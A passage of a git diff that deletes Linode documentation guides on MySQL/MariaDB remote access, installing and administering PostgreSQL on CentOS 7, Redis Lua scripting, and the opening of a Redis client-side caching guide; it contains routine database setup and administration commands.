commands to create a new MySQL/MariaDB user named `example_user`. The user accepts connections from `192.0.2.0` and has `SELECT`, `INSERT`, `UPDATE`, and `DELETE` permissions on the `example_db` database: - - CREATE user 'example_user'@'192.0.2.0' IDENTIFIED BY 'password'; - GRANT SELECT,INSERT,UPDATE,DELETE ON example-db.* TO 'example_user' IDENTIFIED BY 'password'; - -1. Locate you database's configuration files using the command below. The following command lists the files' default locations. The locations returned by the command may be different than those in the example shown below: - - sudo mysql --help - - {{< output >}} -... -Default options are read from the following files in the given order: -/etc/my.cnf /etc/mysql/my.cnf ~/.my.cnf -... -{{< /output >}} - -1. Using your preferred text editor, locate the `[mysqld]` section and a `bind-address` parameter. - - If you see any `!includedir` parameters in the files, you may also need to check the files in the locations those parameters designate. - -1. Once you locate the `bind-address` parameter, change it from the default `127.0.0.1` to `0.0.0.0`. This enables external connections on the database. - - Also, if the file contains a `skip-networking` parameter, comment it out with a `#`. - - {{< file "/etc/mysql/mysql.conf.d/mysqld.conf" >}} -... -[mysqld] - -... -# skip-networking - -bind-address = 0.0.0.0 -... -{{< /file >}} - -1. Restart the MySQL service. - - sudo systemctl restart mysqld - -## How to Connect to a Database Remotely Using the MySQL Workbench Tool - -Follow our [Install MySQL Workbench for Database Administration](/cloud/guides/deploy-mysql-workbench-for-database-administration/) guide for steps to install the MySQL Workbench tool on your local machine. This guide also shows you how to connect to a remote database via MySQL Workbench. These steps work whether your target database server is MySQL or MariaDB. - -For more information, take a look at the [official MySQL Workbench manual](https://dev.mysql.com/doc/workbench/en/). You may also refer to MariaDB's documentation on [using the MySQL Workbench with MariaDB](https://mariadb.com/products/skysql/docs/clients/third-party/mysql-workbench/). - -## Conclusion - -Now that you have your remote database connection, you may want to learn more about using MySQL/MariaDB and working with more advanced database operations. You can refer to our extensive [list of MySQL guides](/cloud/guides/databases/mysql/) and specific [MariaDB guides](/cloud/guides/databases/mariadb/) to build your database management skills. diff --git a/docs/guides/databases/postgresql/how-to-install-postgresql-relational-databases-on-centos-7/index.md b/docs/guides/databases/postgresql/how-to-install-postgresql-relational-databases-on-centos-7/index.md deleted file mode 100644 index 443b886a4de..00000000000 --- a/docs/guides/databases/postgresql/how-to-install-postgresql-relational-databases-on-centos-7/index.md +++ /dev/null @@ -1,478 +0,0 @@ ---- -slug: how-to-install-postgresql-relational-databases-on-centos-7 -title: 'How to Install PostgreSQL Relational Databases on CentOS 7' -description: 'The PostgreSQL relational database is a powerful open source database platform. Learn how to install it on CentOS 7 in this simple tutorial.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2016-12-12 -keywords: ["postgresql", "CentOS 7", "open source database", "relational database"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[PostgreSQL Online Documentation](http://www.postgresql.org/docs/)' - - '[psql manual page](http://www.rootr.net/man/man/psql/1)' -relations: - platform: - key: use-postrgesql-database - keywords: - - distribution: CentOS 7 -aliases: ['/databases/postgresql/use-postgresql-relational-databases-on-centos-7/','/databases/postgresql/how-to-install-postgresql-relational-databases-on-centos-7/'] -tags: ["database","postgresql","centos"] ---- - -The [PostgreSQL](http://www.postgresql.org/) relational database system is a powerful, scalable, and standards-compliant open-source database platform. This guide will help you install and configure PostgreSQL on your CentOS 7 Linode. - -![Use PostgreSQL Relational Databases on CentOS 7](use-postgresql-on-centos-7-title.png "Use PostgreSQL Relational Databases on CentOS 7") - -## Before You Begin - -1. Familiarize yourself with our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) and complete the steps for setting your Linode's hostname and timezone. - -2. Complete the sections of our [Securing Your Server guide](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) to create a standard user account, harden SSH access and remove unnecessary network services. - -3. Update your system: - - sudo yum update - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, visit the [Users and Groups guide](/cloud/guides/linux-users-and-groups/) for more information. -{{< /note >}} - -## Install PostgreSQL - -In this section, we'll cover two different methods for installing PostgreSQL. If you do not need the latest version, we recommend using the first method to install PostgreSQL from the CentOS repositories. - -Unless otherwise noted, the instructions in subsequent sections of this guide will be compatible with versions installed by either method. - -### Install From the CentOS Repositories - -1. As of this writing, the CentOS 7 repositories ship with PostgreSQL version `9.2.15`. To install from the CentOS repositories, simply run: - - sudo yum install postgresql-server postgresql-contrib - -2. Initialize your Postgres database and start PostgreSQL: - - sudo postgresql-setup initdb - sudo systemctl start postgresql - -3. **Optional**: Configure PostgreSQL to start on boot: - - sudo systemctl enable postgresql - -### Install From the Postgres Repositories - -Alternatively, you can install the latest version from the Postgres repositories. As of this publication, PostgreSQL `9.6.3` is the most recent version available for CentOS 7, but these steps can be applied to any RPM-based installation. - -{{< note >}} -When Postgres is installed using this method, the version number is included in its configuration directories. For example, `/var/lib/pgsql` becomes `/var/lib/pgsql/9.6`. This is also the case with systemd units; `systemctl status postgresql` becomes `systemctl status postgresql-9.6`. -{{< /note >}} - -1. Select the version you wish to install from the [Postgres Yum repositories](https://yum.postgresql.org/repopackages.php). Locate the CentOS 7 link for your chosen version and download it to your Linode: - - wget https://download.postgresql.org/pub/repos/yum/9.6/redhat/rhel-7-x86_64/pgdg-centos96-9.6-3.noarch.rpm - -2. Install the RPM, as well as the [EPEL](https://fedoraproject.org/wiki/EPEL) repositories, which will be used to satisfy dependencies: - - sudo yum install pgdg-centos96-9.6-3.noarch.rpm epel-release - -3. Update Yum to apply your changes and install PostgreSQL. When installing Postgres manually, you will have to specify the version: - - sudo yum update - sudo yum install postgresql96-server postgresql96-contrib - -4. Initialize your database and start PostgreSQL: - - sudo /usr/pgsql-9.6/bin/postgresql96-setup initdb - sudo systemctl start postgresql-9.6 - -5. **Optional**: Configure PostgreSQL to start on boot: - - sudo systemctl enable postgresql-9.6 - -## Configure PostgreSQL - -### Secure the Postgres Users - -By default, PostgreSQL will create a Linux user named `postgres` to access the database software. - -{{< note type="alert" >}} -The `postgres` user should not be used for other purposes (e.g., connecting to other networks). Doing so presents a serious risk to the security of your databases. -{{< /note >}} - -1. Change the `postgres` user's Linux password: - - sudo passwd postgres - -2. Issue the following commands to set a password for the `postgres` database user. Be sure to replace `newpassword` with a strong password and keep it in a secure place. - - su - postgres - psql -d template1 -c "ALTER USER postgres WITH PASSWORD 'newpassword';" - - Note that this user is distinct from the `postgres` Linux user. The Linux user is used to access the database, and the PostgreSQL user is used to perform administrative tasks on the databases. - - The password set in this step will be used to connect to the database via the network. Peer authentication will be used by default for local connections. See the [Secure Local PostgreSQL Access section](/cloud/guides/how-to-install-postgresql-relational-databases-on-centos-7/#secure-local-access) for information about changing this setting. - -### Access the PostgreSQL Shell - -The PostgreSQL client shell allows you to issue SQL commands to administer your databases. As the `postgres` Linux user, log in by running: - - psql postgres - -This will log you in as the `postgres` database user. You'll see a prompt similar to this: - - psql (9.2.15) - Type "help" for help. - - postgres=# - -In the last line, `postgres=#` indicates the name of the current database. To see a list of available commands, type `\h`. You may find more information on a specific command by adding it after `\h`. Once you’ve finished using the shell, you can exit with `\q`. - -## Work with Databases - -This section will cover how to create, delete and access databases. - -### Create a Database - -You can create databases with the `createdb` command. Create a sample database called `mytestdb` by running this command as the `postgres` Linux user: - - createdb mytestdb - -It's also possible to assign ownership of the database to a specific Postgres user/role. For example, you could assign ownership to the `examplerole` role by running: - - createdb mytestdb -O examplerole - -The `createdb` command has several additional options, which can be found in the [PostgreSQL documentation](https://www.postgresql.org/docs/9.2/static/app-createdb.html). - -### Connect to a Database - -You can use the `psql` command to connect to a specific database. - -1. Connect to the test database: - - psql mytestdb - -2. You will see the following output: - - psql (9.2.15) - Type "help" for help. - - mytestdb=# - - By default, you will connect to a database as your [peer-authenticated](#peer-authentication) user. However, if you've enabled [local password access](#secure-local-access), it's also possible to specify which user you wish to connect as: - - psql mytestdb -U examplerole - - You'll be prompted to enter the password for the `examplerole` database user before you access the shell. - -### List Databases - -From the [Postgres shell](#access-the-postgresql-shell), you can list all of your databases with the `\l` or `\list` command. You will receive output similar to this: - - postgres=# \l - List of databases - Name | Owner | Encoding | Collate | Ctype | Access privileges - -----------+----------+----------+-------------+-------------+----------------------- - mytestdb | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | - postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | - template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + - | | | | | postgres=CTc/postgres - template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + - | | | | | postgres=CTc/postgres - (4 rows) - -You may also show the current database and user by entering `\c` from the Postgres shell. Additional info, like socket and port, will be included if you use `\conninfo`: - - You are connected to database "mytestdb" as user "postgres" via socket in "/var/run/postgresql" at port "5432". - -### Delete a Database - -You can delete, or *drop*, databases with the `dropdb` command. For example, to delete the `mytestdb` database created previously, issue this command as the `postgres` Linux user: - - dropdb mytestdb - -{{< note type="alert" >}} -Deleted databases cannot be recovered. -{{< /note >}} - -## Work With Tables - -PostgreSQL databases use tables to store and organize information within a database. In this section, you'll find practical examples for adding, removing and manipulating tables. Unless otherwise noted, the commands in this section should be issued from the Postgres shell once you've [connected to your database](#connect-to-a-database). - -### Create Tables - -This section contains examples that create a test database with an employee's first and last name, assigning each a unique key. When creating your own tables, you may specify as many parameters (columns) as you need and name them appropriately. - -1. Create a table called "employees" in your test database: - - CREATE TABLE employees (employee_id int, first_name varchar, last_name varchar); - -2. Insert a record into the table: - - INSERT INTO employees VALUES (1, 'John', 'Doe'); - -### View the Content of a Table - -To view the contents of the "employees" table: - - SELECT * FROM employees; - -This produces the following output: - - employee_id | first_name | last_name - -------------+------------+----------- - 1 | John | Doe - (1 row) - -### List Tables in a Database - -You can list all tables in the current database with the `\dt` command: - - mytestdb-# \dt - List of relations - Schema | Name | Type | Owner - --------+-----------+-------+---------- - public | employees | table | postgres - -### Delete Tables - -Delete tables with `DROP TABLE`. To delete the `employees` table: - - DROP TABLE employees; - -`DROP TABLE` accepts multiple comma-separated table names as arguments. For example, if you had two separate tables called `employees1` and `employees2`, you could delete them both by running: - - DROP TABLE employees1, employees2; - -### Add Columns - -Tables can be altered to add definitions, data types and columns. In this example you'll add a new `start_date` column that uses the [date](https://www.postgresql.org/docs/9.2/static/datatype-datetime.html) data type. - -1. Add the `start_date` column to the `employees` table: - - ALTER TABLE employees ADD start_date date; - -2. Verify your change: - - SELECT * FROM employees; - - You'll see that the new column has been created, but it does not contain any data: - - employee_id | first_name | last_name | start_date - -------------+------------+-----------+------------ - 1 | John | Doe | - (1 row) - - In this example you've used the `date` data type, but PostgreSQL tables support several different types of data. See the [PostgreSQL Documentation](https://www.postgresql.org/docs/9.2/static/datatype.html) for a full explanation of supported data types. - -### Add and Update Rows - -In this section, you'll use `UPDATE` to enter a value into the existing row you've created. Then, you'll create an entirely new row with `INSERT`. - -1. Update the `start_date` field for the user with the value `1` in the `employee_id` column: - - UPDATE employees SET start_date = '2016-09-28' WHERE employee_id = '1'; - -2. Create a new row in the `employees` table: - - INSERT INTO employees VALUES (2, 'Jane', 'Smith', '2015-03-09'); - -3. Verify your changes: - - SELECT * FROM employees; - - You'll see that the start date of `2016-09-28` has been added to the first row, and that a new row has been created for "Jane Smith": - - employee_id | first_name | last_name | start_date - -------------+------------+-----------+------------ - 1 | John | Doe | 2016-09-28 - 2 | Jane | Smith | 2015-03-09 - (2 rows) - -### Remove Columns and Rows - -In this section, you'll remove a column from your table and then remove the second row. - -1. Use `ALTER TABLE` to remove the `start_date` column you made previously: - - ALTER TABLE employees DROP start_date; - -2. Now use `DELETE` to remove the second row of your `employees` table. The following command will remove the row with a value of `2` in the `employee_id` column: - - DELETE FROM employees WHERE employee_id = '2'; - -3. Confirm your changes: - - SELECT * FROM employees; - - Your table now consists of a single row, with the `start_date` column removed: - - employee_id | first_name | last_name - -------------+------------+----------- - 1 | John | Doe - (1 row) - -### Query a Table - -You can use queries to pull specific information from your database. This command will query your `employees` table to only return values for the `employee_id` and `last_name` columns: - - SELECT last_name,employee_id FROM employees; - -You'll receive an output similar to this: - - last_name | employee_id - -----------+------------- - Doe | 1 - (1 row) - -PostgreSQL supports many querying options. See the [PostgreSQL Documentation](https://www.postgresql.org/docs/9.2/static/sql-select.html) for more information. - -## Work With Roles - -PostgreSQL grants database access via **roles**, which are used to specify privileges. Roles can be understood as having a similar function to Linux "users." In addition, roles may also be created as a set of other roles, similar to a Linux "group." PostgreSQL roles apply globally, so you will not need to create the same role twice if you'd like to grant it access to more than one database on the same server. - -### Create Roles - -New user roles are added with the `createuser` command. To create a new user called `examplerole`, issue this command as the `postgres` Linux user: - - createuser examplerole --pwprompt - -You will be prompted to create a password for the new user. - -### Give a Role Access to a Database - -In this example, you'll give the newly created `examplerole` user access to your database. - -1. Connect to the database: - - psql mytestdb - - You'll be connected as the `postgres` database user by default. - -2. From the PostgreSQL shell, enter the following to grant all privileges on the table `employees` to the user `examplerole`: - - GRANT ALL ON employees TO examplerole; - -3. Exit the database with `\q`. - -### List All Roles - -You can list all roles from the [Postgres Shell](#access-the-postgresql-shell) by running `\du`. You'll see an output similar to this: - - postgres=# \du - List of roles - Role name | Attributes | Member of - -------------+------------------------------------------------+----------- - examplerole | | {} - postgres | Superuser, Create role, Create DB, Replication | {} - -### Group Roles - -For ease of administration, it's possible to add multiple user roles to a single group, so that their privileges can be managed as a whole. In this section you'll create a new group and add the `examplerole` user to it. These commands should be run as the `postgres` Linux user. - -1. Use the `createuser` command to create a new group role. The `--no-login` option is specified because groups do not need login capability. - - createuser examplegroup --no-login - -2. Log into the Postgres shell and add `examplerole` to the new group: - - psql postgres - GRANT examplegroup TO examplerole; - -3. From the Postgres shell, verify your changes with `\du`. You'll see that the `examplerole` user is now listed as a member of the `examplegroup` group: - - postgres=# \du - List of roles - Role name | Attributes | Member of - --------------+------------------------------------------------+---------------- - examplegroup | Cannot login | {} - examplerole | | {examplegroup} - group | | {} - postgres | Superuser, Create role, Create DB, Replication | {} - - The `createuser` command has several other options. See the [PostgreSQL documentation](https://www.postgresql.org/docs/9.2/static/app-createuser.html) for more details. - -4. When you've finished applying your changes, exit the Postgres shell with `\q`. - -### Alter Roles - -While specific settings and privileges can be applied to a role when it's created, you can also modify a role's properties later on. In this example, we'll modify the `examplerole` user so that it can create new databases. The commands in this section should be run as the `postgres` Linux user. - -1. Log in as the `postgres` database user: - - psql postgres - -2. From the Postgres shell, add the `CREATEDB` parameter to the `examplerole` user: - - ALTER ROLE examplerole CREATEDB; - - A number of permissions can be applied when creating or altering a role. See the [PostgreSQL Documentation](https://www.postgresql.org/docs/9.2/static/sql-createrole.html) for more details. - -3. Use `\du` to confirm your changes. You'll see that the "Create DB" attribute is listed next to the `examplerole` user: - - postgres=# \du - List of roles - Role name | Attributes | Member of - -------------+------------------------------------------------+----------- - examplerole | Create DB | {} - group | | {} - postgres | Superuser, Create role, Create DB, Replication | {} - -4. Once you've finished, exit the Postgres shell with `\q`. - -### Delete Roles - -The `dropuser` command is used to delete PostgreSQL roles. To delete the `examplerole` user, issue this command as the `postgres` Linux user: - - dropuser examplerole - -### Peer Authentication - -PostgreSQL uses **peer authentication** by default. This means that database connections will be granted to local system users if their Linux username matches the name of their PostgreSQL role. To make use of peer authentication effectively, you would need to create both a Linux user and a corresponding PostgreSQL role. For the `examplerole` role you just created, you can use peer authentication by creating an `examplerole` local system user. This command must be run as a user with `sudo` access: - - sudo adduser examplerole && passwd examplerole - -Note that you will be prompted to create a password for the new `examplerole` Linux user. Alternatively, you can follow our steps to [secure local access](#secure-local-access). - -## Secure PostgreSQL - -### Secure Local Access - -While PostgreSQL's default peer authentication is useful in cases where a particular system user will be running a local program (e.g., scripts, CGI/FastCGI processes owned by separate users, etc.), you may wish to require passwords for greater security. - -Commands in this section should be run as the `postgres` Linux user unless otherwise specified. - -1. Edit the `/var/lib/pgsql/data/pg_hba.conf` file, under the `# "local" is for Unix domain socket connections only` header: - - {{< file "/var/lib/pgsql/data/pg_hba.conf" >}} -# "local" is for Unix domain socket connections only -local all all peer - -{{< /file >}} - - - Replace `peer` with `md5` on this line to activate password authentication using an MD5 hash. - - {{< note respectIndent=false >}} -If you installed PostgreSQL from the [Postgres repositories](#install-from-the-postgres-repositories), you will need to specify your version number in this file path, for example: `/var/lib/pgsql/9.6/data/pg_hba.conf`. -{{< /note >}} - -2. To enable these changes, you need to restart PostgreSQL. However, you did not grant the `postgres` user sudo privileges for security reasons. Return to the normal user shell: - - exit - -3. Restart PostgreSQL and switch back to the `postgres` user: - - sudo systemctl restart postgresql - su - postgres - -4. As `postgres`, connect to the test database as the `examplerole` PostgreSQL user: - - psql mytestdb -U examplerole - - You will be prompted to enter the password for the `examplerole` user and then given `psql` shell access to the database. When using a database, you may check access privileges for each of its tables with the `\z` command. - -### Secure Remote Access - -PostgreSQL listens for connections on `localhost` by default, and it is not advised to reconfigure it to listen on public IP addresses. If you wish to make PostgreSQL externally accessible, it's recommended that you follow the Postgres documentation for [using SSL](https://www.postgresql.org/docs/9.2/static/ssl-tcp.html) to secure your remote connections. Alternatively, you could connect to PostgreSQL over an [SSH tunnel](https://www.postgresql.org/docs/9.2/static/ssh-tunnels.html). To access your databases remotely using a graphical tool, please follow one of these guides: - -- [Securely Manage Remote PostgreSQL Servers with pgAdmin on Windows](/cloud/guides/how-to-access-postgresql-database-remotely-using-pgadmin-on-windows/) -- [Securely Manage Remote PostgreSQL Servers with pgAdmin on Mac OS X](/cloud/guides/securely-manage-remote-postgresql-servers-with-pgadmin-on-macos-x/) diff --git a/docs/guides/databases/redis/lua-scripting-for-redis/index.md b/docs/guides/databases/redis/lua-scripting-for-redis/index.md deleted file mode 100644 index a9bd97c380d..00000000000 --- a/docs/guides/databases/redis/lua-scripting-for-redis/index.md +++ /dev/null @@ -1,193 +0,0 @@ ---- -slug: lua-scripting-for-redis -title: "Writing Lua Scripts for a Redis Server" -description: "In this tutorial learn how to start writing and using Lua scripts to improve your Redis database experience." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2023-03-14 -keywords: ['redis lua scripts','redis lua script tutorial','redis lua examples'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Redis: Scripting with Lua](https://redis.io/docs/manual/programmability/eval-intro/)' -- '[Redis: EVAL](https://redis.io/commands/eval/)' -- '[freeCodeCamp: A Quick Guide to Redis Lua Scripting](https://www.freecodecamp.org/news/a-quick-guide-to-redis-lua-scripting/)' ---- - -Redis is an open source NoSQL database that offers low-latency in-memory storage of data structures. Web application developers find Redis a powerful ally for application caching, messaging, and many other operations. - -Redis uses Lua for scripting, letting you consolidate more complicated tasks in an efficient way. Script logic gets executed on the database server, allowing them to be reused, and often increasing performance. - -In this tutorial learn what Redis' Lua scripting has to offer and how you can start using it on your Redis database. The tutorial covers the pros and cons of Redis scripting, creating and deploying scripts, and managing cached scripts. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Follow the instructions in our [How to Install a Redis Server](/cloud/guides/how-to-install-a-redis-server-on-ubuntu-or-debian8/) guide to install a Redis server and command line interface (CLI). Be sure to use the drop-down menu at the top of the page to select your Linux distribution and view the appropriate steps. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Why Use Lua Scripting on a Redis Server? - -Scripting allows you to execute complex tasks within Redis. A Redis script allows you to use programming tools like control structures, while having access to almost all Redis commands. - -So why would you use a Redis script over executing commands directly, or from your application itself? Because with scripts: - -- Tasks are executed directly on the database server, often increasing their performance substantially. - -- Logic lives directly on the database server, which can be useful for logic used across multiple applications. - -- Steps get executed atomically, meaning that the server prevents other actions while a script is still running. - -Lua is the language for Redis scripting. The Lua language offers simplicity and conciseness, making it an effective language for scripting tasks. - -However, scripts are not suited to all cases. Because the Redis server blocks other operations while a script is running, lengthy scripts may actually result in negative performance impacts. - -Scripting also executes logic on the database. Doing so can lead to bad architectural and design practices when developers rely on it to implement application logic rather than data-level logic. - -## How to Write Lua Scripts for a Redis Server - -Basic Redis scripts can be executed using the `EVAL` command. The command executes scripts directly from the Redis CLI: - -```command -EVAL "return 'Hello, world!'" 0 -``` - -```output -"Hello, world!" -``` - -Redis' Lua implementation has access to the `redis.call` method, allowing you to execute most Redis commands from the Lua script. In this example, the Lua script executes the `SET` command: - -```command -EVAL "redis.call('SET', KEYS[1], ARGV[1])" 1 example_key "Example Value" -``` - -The `EVAL` command has a minimum of two arguments, and more if the second argument is greater than zero. - -- The first argument is the *script* itself. The Lua code for the script is wrapped in quotation marks. - -- The second argument is the *number of keys*. This is `1` in the example above, indicating that one key-value pair is used in the script. That key is identified with `KEY[1]` in the script itself. Its corresponding value is indicated with `ARGV[1]`. - -- The third argument contains *key names*. This is `example_key` in the example above. When the number of keys is greater than one, you need to provide a number of keys here equal to the number of keys argument. - -- The fourth argument contains *values*. Above, this is `"Example Value"`. As with the key names argument, you need to provide an array of values equal to the number of keys. - -A similar script with multiple keys and value could be: - -```command -EVAL "redis.call('SET', KEYS[1], ARGV[1]); redis.call('SET', KEYS[2], ARGV[2])" 2 example_key_1 example_key_2 "Example Value 1" "Example Value 2" -``` - -You do not always need to provide a value. For example, when using a read command like `GET`: - -```command -EVAL "return redis.call('GET', KEYS[1])" 1 example_key_1 -``` - -```output -"Example Value 1" -``` - -More advanced usage leverages the capabilities of the Lua language. Here is a simple example to give you an idea: - -```command -EVAL "local key_name = 'example_key'; for iterated_value=0,4 do redis.call('hmset', KEYS[1], key_name .. tostring(iterated_value), iterated_value) end; return redis.call('hgetall', KEYS[1])" 1 example_hash -``` - -```output - 1) "example_key0" - 2) "0" - 3) "example_key1" - 4) "1" - 5) "example_key2" - 6) "2" - 7) "example_key3" - 8) "3" - 9) "example_key4" -10) "4" -``` - -## How to Store Lua Scripts on a Redis Server - -Redis scripts can be pre-loaded into memory for later execution. This feature is useful especially for scripts that need to be executed numerous times. This feature still allows you to provide different parameters for each script execution. - -Using the `SCRIPT LOAD` command stores a given script in Redis' cache. Notice that you do not provide the script with parameters at this time. Instead, you provide the parameters whenever you call the script, as you can see further on: - -```command -SCRIPT LOAD "redis.call('set', KEYS[1], ARGV[1]); return redis.call('get', KEYS[1])" -``` - -```output -"5afd00504d9d21a8fc37cd1b4400872d2e69296a" -``` - -Redis provides you with an SHA1 identifier for the new script. You can use that identifier with the `EVALSHA` command to execute the script. The command takes the SHA1 identifier and the arguments for the script just as the `EVAL` command would: - -```command -EVALSHA 5afd00504d9d21a8fc37cd1b4400872d2e69296a 1 example_key "Another example value" -``` - -```output -"Another example value" -``` - -The script cache is volatile and not persisted. Thus, after some time or certain server events, the `EVALSHA` command may return an error, indicating that the identified script has been purged from the cache: - -```output -(error) NOSCRIPT No matching script. Please use EVAL. -``` - -## How to Use the Script Command to Manage Lua Scripts - -Redis provides several `SCRIPT` commands that give you a degree of control over scripts stored in the cache, such as the `SCRIPT LOAD` command in the previous section. - -The following list shows the other `SCRIPT` commands used to manage scripts in cache. - -- `SCRIPT EXISTS` lets you verify whether a script with a given SHA1 identifier exists. Above, you can see that the `EVALSHA` command inherently indicates whether a script exists or not. But you can achieve cleaner and clearer code in some cases by using the `SCRIPT EXISTS` command to explicitly check for a script: - - ```command - SCRIPT EXISTS "5afd00504d9d21a8fc37cd1b4400872d2e69296a" - ``` - - ```output - 1) (integer) 1 - ``` - - This response indicates that the script exists. A `0` response would indicate that the script does not exist in cache. Multiple SHA1 identifiers can be provided to the command, in which case the command returns multiple values of `1` and/or `0`, corresponding to each identifier. - -- `SCRIPT DEBUG` can be used to enable/disable debugging mode for Lua scripts. When debugging is enabled, `EVAL` commands use the Lua debugger built into Redis. - - The debugging mode comes with two options. It can be run *asynchronously* using `SCRIPT DEBUG YES`. This has debugging operate on a separate session where it does not block Redis operations. With this option, changes are rolled back when the script finishes. Alternatively, debugging mode can be run *synchronously* using `SCRIPT DEBUG SYNC`. The script in this case blocks other Redis operations and saves changes just like scripts in normal mode. - - Most often, asynchronous debugging is preferable, as it lets you run scripts without significant consequence. - - Redis recommends script debugging not be used in production environments. Using a testing or development server instead can prevent unforeseen consequences and performance impacts. - - ```command - SCRIPT DEBUG YES - EVAL "redis.call('set', KEYS[1], ARGV[1])" 1 another_example_key "A value" - SCRIPT DEBUG NO - ``` - -- `SCRIPT KILL` provides the only way to interrupt a running script, other than restarting the server. The command is used to stop scripts that have run over the maximum execution time. However, this command only works for scripts that have not yet modified any data: - - ```command - SCRIPT KILL - ``` - -- `SCRIPT FLUSH` clears Redis' script cache. This can be especially useful when working in a test environment, allowing you to clear out the cache for a new set of scripts to test: - - ```command - SCRIPT FLUSH - ``` - -## Conclusion - -You are now prepared to step into the realm of Lua scripting on your Redis server. This tutorial covers everything you need to get started, from writing scripts to deploying and managing them. - -Want to continue learning about Redis to get the most effective use out of your server? We have plenty of [guides on using Redis](/cloud/guides/databases/redis/) that can help you navigate Redis data types, configurations, and more. \ No newline at end of file diff --git a/docs/guides/databases/redis/redis-client-side-caching/index.md b/docs/guides/databases/redis/redis-client-side-caching/index.md deleted file mode 100644 index 3d9da91890a..00000000000 --- a/docs/guides/databases/redis/redis-client-side-caching/index.md +++ /dev/null @@ -1,297 +0,0 @@ ---- -slug: redis-client-side-caching -title: "Use Redis for Client-Side Caching" -title_meta: "How to Use Redis for Client-Side Caching" -description: "Modern web applications rely on client-side caching to enhance its performance. This guide shows you how to use Redis for server-assisted client-side caching." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2022-04-08 -keywords: ['redis caching tutorial','redis server assisted client-side caching','how redis caching works'] -tags: ['redis'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Redis: Redis server-assisted client side caching](https://redis.io/topics/client-side-caching)' -- '[MDN Web Docs: Client-side Storage](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage)' ---- - -Redis is an open-source in-memory database with a reputation for working exceptionally well for caching web application data. Redis's fast transactions and low latency help to increase application performance while its server-assisted caching feature makes client-side caching more efficient. - -This tutorial explains the concepts behind Redis's server-assisted client-side caching, including how client-side caching and server assistance work. The guide then breaks down how to set up your Redis server to get the most out of client-side caching in your web applications. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -1. This guide uses `sudo` wherever possible. Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to create a standard user account, harden SSH access, and remove unnecessary network services. - -1. Update your system. - - - On **Debian** and **Ubuntu**, use the following command: - - sudo apt update && sudo apt upgrade - - - On **AlmaLinux**, **CentOS** (8 or later), or **Fedora**, use the following command: - - sudo dnf upgrade - -1. Follow the instructions in our [How to Install and Configure Redis](/cloud/guides/install-redis-ubuntu/) guide to installing a Redis server and command-line interface (CLI). Be sure to use the drop-down menu at the top of that page to select your Linux distribution and get the appropriate steps. - -{{< note >}} -The steps in this guide is written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What Is Client-Side Caching? - -To improve performance, many modern web applications utilize the browser's ability to store some data locally. Doing so is called *client-side caching*, and serves the purpose, mainly, of improving performance. - -Rather than making call to the server every time some data is needed, an application can first check the local cache. If the data is there, the application does not need to call the server for it. If the data is not there yet, the application can fetch the data and store it in the cache for later. - -Browser cookies are an example of client-side storage. They allow an application to store data like user login and site preferences. But modern browsers also support other means of storage, making client-side caching more versatile and capable. - -### Benefits of Client-Side Caching - -The main perk to client-side caching is performance. Web applications that use client-side caching avoid repetitive calls to the server, improving the speed of data retrieval and reducing their overall network loads. - -However, the client-side caches suffer when it comes to keeping cached data up to date. The use of a local cache introduces the possibility of having stored data become outdated and out of sync with the data on the server. - -This may not be an issue for some use cases. For instance, you may have reasonable certainty about how often data changes or how time-sensitive the data is. In such cases, you can mark the cached data with an invalidation timestamp, after which the application fetches fresh data from the server. - -But this limitation can be prohibitive for applications where data changes frequently and is more time-sensitive. In those cases, web applications often have to implement some other means of expiring local caches. - -## What Is Server-Assisted Client-Side Caching? - -To address the issue of updating or invalidating cached data, Redis implements a server-assisted model. - -In this model, the Redis server tracks the data used by each connected client. When some tracked data gets altered on the server, Redis sends out notifications to the relevant clients to invalidate the old data. - -Redis's model allows an application to get the performance benefits of caching while ensuring that the local data can be kept up to date. - -To elaborate, an application using Redis for server-assisted caching should use the following layers: - -- An *application layer* that fetches data either from the cache or, if the necessary data is not there, from the database server. Any data received from the database gets stored in the cache. - -- A *cache layer* that holds data fetched from the database server by the application. To prevent the data from becoming outdated, the application must remove or otherwise update cached data whenever that data changes. - -- A *database layer* that responds to requests for data from the application. Additionally, this layer provides invalidation notifications to the application when previously fetched data gets altered, helping the application to keep its cache up to date. - -![Diagram of a server-assisted client-side caching architecture](server-assisted-architecture.png) - -## How to Set Up Redis for Client-Side Caching - -Configuring server-assisted caching in 